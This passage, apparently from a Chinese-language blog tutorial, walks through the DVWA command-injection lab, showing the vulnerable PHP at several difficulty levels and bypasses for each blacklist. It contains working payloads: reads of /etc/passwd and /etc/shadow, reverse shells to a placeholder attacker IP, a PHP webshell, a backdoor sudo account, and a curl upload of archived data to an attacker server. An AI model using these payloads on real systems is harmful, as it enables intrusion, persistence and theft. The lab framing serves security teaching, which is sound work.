class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否已设置</span></span><br><span class="line"><span class="comment">// $_POST[&#x27;Submit&#x27;] - 检查Submit按钮是否被点击</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ]  ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入的目标IP地址</span></span><br><span class="line">    <span class="comment">// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组</span></span><br><span class="line">    <span class="comment">// trim() - 移除字符串两端的空白字符（空格、制表符、换行符等）</span></span><br><span class="line">    <span class="comment">// 作用：清理用户输入前后的空格</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;ip&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接拼接用户输入到系统命令 ★★★</span></span><br><span class="line">    <span class="comment">// 判断操作系统类型</span></span><br><span class="line">    <span class="comment">// stristr() - 不区分大小写的查找子字符串</span></span><br><span class="line">    <span class="comment">// PHP_OS - PHP预定义常量，返回操作系统名称（如：Windows NT、Linux）</span></span><br><span class="line">    <span class="comment">// &#x27;WIN&#x27; - 检查是否为Windows系统</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">stristr</span>( <span class="title function_ invoke__">php_uname</span>( <span class="string">&#x27;s&#x27;</span> ), <span class="string">&#x27;Windows NT&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ Windows系统：执行ping命令 ★★★</span></span><br><span class="line">        <span class="comment">// shell_exec() - 通过shell执行命令并返回输出</span></span><br><span class="line">        <span class="comment">// &quot;ping -n 4 &quot; - Windows的ping命令，-n 4表示发送4个数据包</span></span><br><span class="line">        <span class="comment">// . $target - 字符串连接运算符，将用户输入直接拼接到命令中</span></span><br><span class="line">        <span class="comment">// 问题：没有任何过滤！用户可以注入任意命令！</span></span><br><span class="line">        <span class="comment">// 示例危险输入：127.0.0.1 &amp; dir</span></span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ Linux/Unix系统：执行ping命令 ★★★</span></span><br><span class="line">        <span class="comment">// ping -c 4 - Linux的ping命令，-c 4表示发送4个数据包</span></span><br><span class="line">        <span class="comment">// 问题：同样没有任何过滤！</span></span><br><span class="line">        <span class="comment">// 示例危险输入：127.0.0.1; ls -la</span></span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  -c 4 &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 将命令执行结果存储到HTML变量中</span></span><br><span class="line">    <span class="comment">// &lt;pre&gt; - HTML预格式化标签，保留空格和换行</span></span><br><span class="line">    <span class="comment">// &#123;$cmd&#125; - 在双引号字符串中插入变量值</span></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$cmd&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>直接拼接用户输入</strong> - 没有任何验证或过滤</li><li><strong>使用shell_exec()</strong> - 直接执行shell命令</li><li><strong>无输入验证</strong> - 不检查IP格式</li><li><strong>无黑名单</strong> - 允许任何特殊字符</li></ol><p><strong>命令连接符：</strong></p><table><thead><tr><th>符号</th><th>系统</th><th>作用</th><th>示例</th></tr></thead><tbody><tr><td><code>;</code></td><td>Linux&#x2F;Win</td><td>依次执行</td><td><code>127.0.0.1; ls</code></td></tr><tr><td><code>&amp;</code></td><td>Windows</td><td>依次执行</td><td><code>127.0.0.1 &amp; dir</code></td></tr><tr><td><code>&amp;&amp;</code></td><td>Linux&#x2F;Win</td><td>前者成功才执行后者</td><td><code>127.0.0.1 &amp;&amp; whoami</code></td></tr><tr><td><code>|</code></td><td>Linux&#x2F;Win</td><td>管道，前者输出作为后者输入</td><td><code>127.0.0.1 | cat /etc/passwd</code></td></tr><tr><td><code>||</code></td><td>Linux&#x2F;Win</td><td>前者失败才执行后者</td><td><code>invalid || whoami</code></td></tr><tr><td><code>`command`</code></td><td>Linux</td><td>命令替换</td><td><code>127.0.0.1 `whoami` </code></td></tr><tr><td><code>$(command)</code></td><td>Linux</td><td>命令替换</td><td><code>127.0.0.1 $(ls)</code></td></tr></tbody></table><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="基础测试"><a href="#基础测试" class="headerlink" title="基础测试"></a>基础测试</h4><p><strong>1. 简单命令注入（Linux）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 输入：</span></span><br><span class="line">127.0.0.1; <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行的实际命令：</span></span><br><span class="line">ping -c 4 127.0.0.1; <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：先ping，然后显示当前用户</span></span><br></pre></td></tr></table></figure><p><strong>2. 查看目录（Linux）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 输入：</span></span><br><span class="line">127.0.0.1; <span class="built_in">ls</span> -la</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看系统信息</span></span><br><span class="line">127.0.0.1; <span class="built_in">uname</span> -a</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看当前路径</span></span><br><span class="line">127.0.0.1; <span class="built_in">pwd</span></span><br></pre></td></tr></table></figure><p><strong>3. 读取敏感文件（Linux）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 读取密码文件</span></span><br><span class="line">127.0.0.1; <span class="built_in">cat</span> /etc/passwd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取shadow文件（需要权限）</span></span><br><span class="line">127.0.0.1; <span class="built_in">cat</span> /etc/shadow</span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取PHP配置</span></span><br><span class="line">127.0.0.1; <span class="built_in">cat</span> ../../config/config.inc.php</span><br></pre></td></tr></table></figure><p><strong>4. Windows命令</strong></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">REM 查看目录</span></span><br><span class="line"><span class="number">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span> &amp; <span class="built_in">dir</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 查看当前用户</span></span><br><span class="line"><span class="number">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span> &amp; whoami</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 查看系统信息</span></span><br><span class="line"><span class="number">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span> &amp; systeminfo</span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">REM 查看网络配置</span></span><br><span class="line"><span class="number">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span> &amp; <span class="built_in">ipconfig</span></span><br></pre></td></tr></table></figure><h4 id="高级攻击"><a href="#高级攻击" class="headerlink" title="高级攻击"></a>高级攻击</h4><p><strong>1. 反弹Shell（Linux）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方法1：使用netcat</span></span><br><span class="line">127.0.0.1; nc -e /bin/bash 攻击者IP 4444</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法2：使用bash</span></span><br><span class="line">127.0.0.1; bash -i &gt;&amp; /dev/tcp/攻击者IP/4444 0&gt;&amp;1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法3：使用python</span></span><br><span class="line">127.0.0.1; python -c <span class="string">&#x27;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;攻击者IP&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>攻击者监听：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在攻击者机器上监听</span></span><br><span class="line">nc -lvp 4444</span><br></pre></td></tr></table></figure><p><strong>2. 写入WebShell</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 写入PHP一句话木马</span></span><br><span class="line">127.0.0.1; <span class="built_in">echo</span> <span class="string">&#x27;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span> &gt; /var/www/html/shell.php</span><br><span class="line"></span><br><span class="line"><span class="comment"># 访问：</span></span><br><span class="line">http://dvwa.local/shell.php?cmd=<span class="built_in">whoami</span></span><br></pre></td></tr></table></figure><p><strong>3. 添加管理员账户（Linux）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 添加用户</span></span><br><span class="line">127.0.0.1; useradd -m hacker</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置密码</span></span><br><span class="line">127.0.0.1; <span class="built_in">echo</span> <span class="string">&#x27;hacker:password&#x27;</span> | chpasswd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加到sudo组</span></span><br><span class="line">127.0.0.1; usermod -aG sudo hacker</span><br></pre></td></tr></table></figure><p><strong>4. 数据窃取</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 压缩敏感目录</span></span><br><span class="line">127.0.0.1; tar -czf /tmp/data.tar.gz /var/www/html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过网络传输</span></span><br><span class="line">127.0.0.1; curl -F <span class="string">&quot;file=@/tmp/data.tar.gz&quot;</span> http://攻击者服务器/upload</span><br></pre></td></tr></table></figure><h4 id="使用Burp-Suite"><a href="#使用Burp-Suite" class="headerlink" title="使用Burp Suite"></a>使用Burp Suite</h4><p><strong>步骤：</strong></p><ol><li>开启Burp Suite代理</li><li>提交正常请求</li><li>在Burp中拦截请求</li><li>修改ip参数：<figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ip</span><span class="operator">=</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="comment">; cat /etc/passwd</span></span><br></pre></td></tr></table></figure></li><li>Forward请求</li><li>查看响应</li></ol><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了黑名单过滤，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ]  ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;ip&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：黑名单过滤 ★★★</span></span><br><span class="line">    <span class="comment">// 定义要过滤的特殊字符数组</span></span><br><span class="line">    <span class="comment">// 这些是常用的命令连接符</span></span><br><span class="line">    <span class="variable">$substitutions</span> = <span class="keyword">array</span>(</span><br><span class="line">        <span class="string">&#x27;&amp;&amp;&#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>,  <span class="comment">// 逻辑与，前者成功才执行后者</span></span><br><span class="line">        <span class="string">&#x27;;&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,  <span class="comment">// 命令分隔符，依次执行</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// str_replace() - 字符串替换函数</span></span><br><span class="line">    <span class="comment">// 参数1：要查找的字符（数组）</span></span><br><span class="line">    <span class="comment">// 参数2：替换成的字符（数组）</span></span><br><span class="line">    <span class="comment">// 参数3：被搜索的字符串</span></span><br><span class="line">    <span class="comment">// 返回值：替换后的字符串</span></span><br><span class="line">    <span class="comment">// array_keys() - 返回数组的所有键（这里是&#x27;&amp;&amp;&#x27;和&#x27;;&#x27;）</span></span><br><span class="line">    <span class="comment">// array_values() - 返回数组的所有值（这里都是空字符串&#x27;&#x27;）</span></span><br><span class="line">    <span class="comment">// 作用：将&amp;&amp;和;替换为空，试图阻止命令注入</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="title function_ invoke__">str_replace</span>( <span class="title function_ invoke__">array_keys</span>( <span class="variable">$substitutions</span> ), <span class="variable">$substitutions</span>, <span class="variable">$target</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行ping命令</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">stristr</span>( <span class="title function_ invoke__">php_uname</span>( <span class="string">&#x27;s&#x27;</span> ), <span class="string">&#x27;Windows NT&#x27;</span> ) ) &#123;</span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  -c 4 &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$cmd&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>黑名单过滤</strong> - 过滤 <code>&amp;&amp;</code> 和 <code>;</code></li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li><strong>黑名单不完整</strong> - 只过滤了2个字符，还有很多其他方式</li><li><strong>没有过滤</strong> <code>|</code>、<code>||</code>、<code>&amp;</code>、换行符等</li><li><strong>仍使用shell_exec()</strong></li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：使用其他连接符"><a href="#方法1：使用其他连接符" class="headerlink" title="方法1：使用其他连接符"></a>方法1：使用其他连接符</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用单个&amp;（Windows）</span></span><br><span class="line">127.0.0.1 &amp; <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用管道|</span></span><br><span class="line">127.0.0.1 | <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用||</span></span><br><span class="line">invalid_ip || <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用换行符（URL编码：%0A）</span></span><br><span class="line">127.0.0.1%0Awhoami</span><br></pre></td></tr></table></figure><h4 id="方法2：在Burp-Suite中测试"><a href="#方法2：在Burp-Suite中测试" class="headerlink" title="方法2：在Burp Suite中测试"></a>方法2：在Burp Suite中测试</h4><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/exec/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-arcade">ip=<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>+|+cat+<span class="regexp">/etc/</span>passwd&amp;Submit=Submit</span></span><br></pre></td></tr></table></figure><h4 id="方法3：其他绕过技巧"><a href="#方法3：其他绕过技巧" class="headerlink" title="方法3：其他绕过技巧"></a>方法3：其他绕过技巧</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用$()命令替换</span></span><br><span class="line">127.0.0.1$(<span class="built_in">whoami</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用反引号``</span></span><br><span class="line">127.0.0.1`<span class="built_in">whoami</span>`</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用&amp;（单个，不是&amp;&amp;）</span></span><br><span class="line">127.0.0.1 &amp; <span class="built_in">ls</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>更严格的黑名单，但仍有绕过方法。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ]  ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$target</span> = <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;ip&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 扩展的黑名单 ★★★</span></span><br><span class="line">    <span class="comment">// 增加了更多的命令连接符</span></span><br><span class="line">    <span class="variable">$substitutions</span> = <span class="keyword">array</span>(</span><br><span class="line">        <span class="string">&#x27;&amp;&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 单个&amp;</span></span><br><span class="line">        <span class="string">&#x27;;&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 分号</span></span><br><span class="line">        <span class="string">&#x27;| &#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 管道+空格</span></span><br><span class="line">        <span class="string">&#x27;-&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 减号（防止ping参数注入）</span></span><br><span class="line">        <span class="string">&#x27;$&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 美元符号（防止命令替换$()）</span></span><br><span class="line">        <span class="string">&#x27;(&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 左括号（防止命令替换）</span></span><br><span class="line">        <span class="string">&#x27;)&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 右括号</span></span><br><span class="line">        <span class="string">&#x27;`&#x27;</span>  =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 反引号（防止命令替换）</span></span><br><span class="line">        <span class="string">&#x27;||&#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>,   <span class="comment">// 逻辑或</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行替换</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="title function_ invoke__">str_replace</span>( <span class="title function_ invoke__">array_keys</span>( <span class="variable">$substitutions</span> ), <span class="variable">$substitutions</span>, <span class="variable">$target</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行ping命令</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">stristr</span>( <span class="title function_ invoke__">php_uname</span>( <span class="string">&#x27;s&#x27;</span> ), <span class="string">&#x27;Windows NT&#x27;</span> ) ) &#123;</span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  -c 4 &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$cmd&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>更完整的黑名单</strong> - 过滤了 <code>&amp;</code>, <code>;</code>, <code>| </code>, <code>-</code>, <code>$</code>, <code>(</code>, <code>)</code>, <code>`</code>, <code>||</code></li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li><strong>注意：只过滤了<code>| </code>（管道+空格）</strong> - 可以用<code>|</code>（无空格）绕过</li><li><strong>没有过滤换行符</strong></li><li><strong>黑名单仍不完全</strong></li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：管道符不加空格"><a href="#方法1：管道符不加空格" class="headerlink" title="方法1：管道符不加空格"></a>方法1：管道符不加空格</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 注意：黑名单是 &#x27;| &#x27;（管道+空格）</span></span><br><span class="line"><span class="comment"># 我们用 &#x27;|&#x27;（只有管道，无空格）</span></span><br><span class="line">127.0.0.1|<span class="built_in">cat</span> /etc/passwd</span><br></pre></td></tr></table></figure><p><strong>原理：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 黑名单</span></span><br><span class="line"><span class="string">&#x27;| &#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>  <span class="comment">// 注意这里有空格</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 我们的输入</span></span><br><span class="line"><span class="string">&#x27;127.0.0.1|cat&#x27;</span>  <span class="comment">// 没有空格，不会被过滤！</span></span><br></pre></td></tr></table></figure><h4 id="方法2：使用换行符"><a href="#方法2：使用换行符" class="headerlink" title="方法2：使用换行符"></a>方法2：使用换行符</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># URL编码的换行符：%0A</span></span><br><span class="line">127.0.0.1%0Acat /etc/passwd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在Burp中测试</span></span><br><span class="line">ip=127.0.0.1%0Awhoami</span><br></pre></td></tr></table></figure><h4 id="方法3：组合绕过"><a href="#方法3：组合绕过" class="headerlink" title="方法3：组合绕过"></a>方法3：组合绕过</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果单个方法被拦截，可以尝试组合</span></span><br><span class="line">127.0.0.1|<span class="built_in">cat</span>&lt;/etc/passwd</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用白名单验证，几乎无法绕过。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span 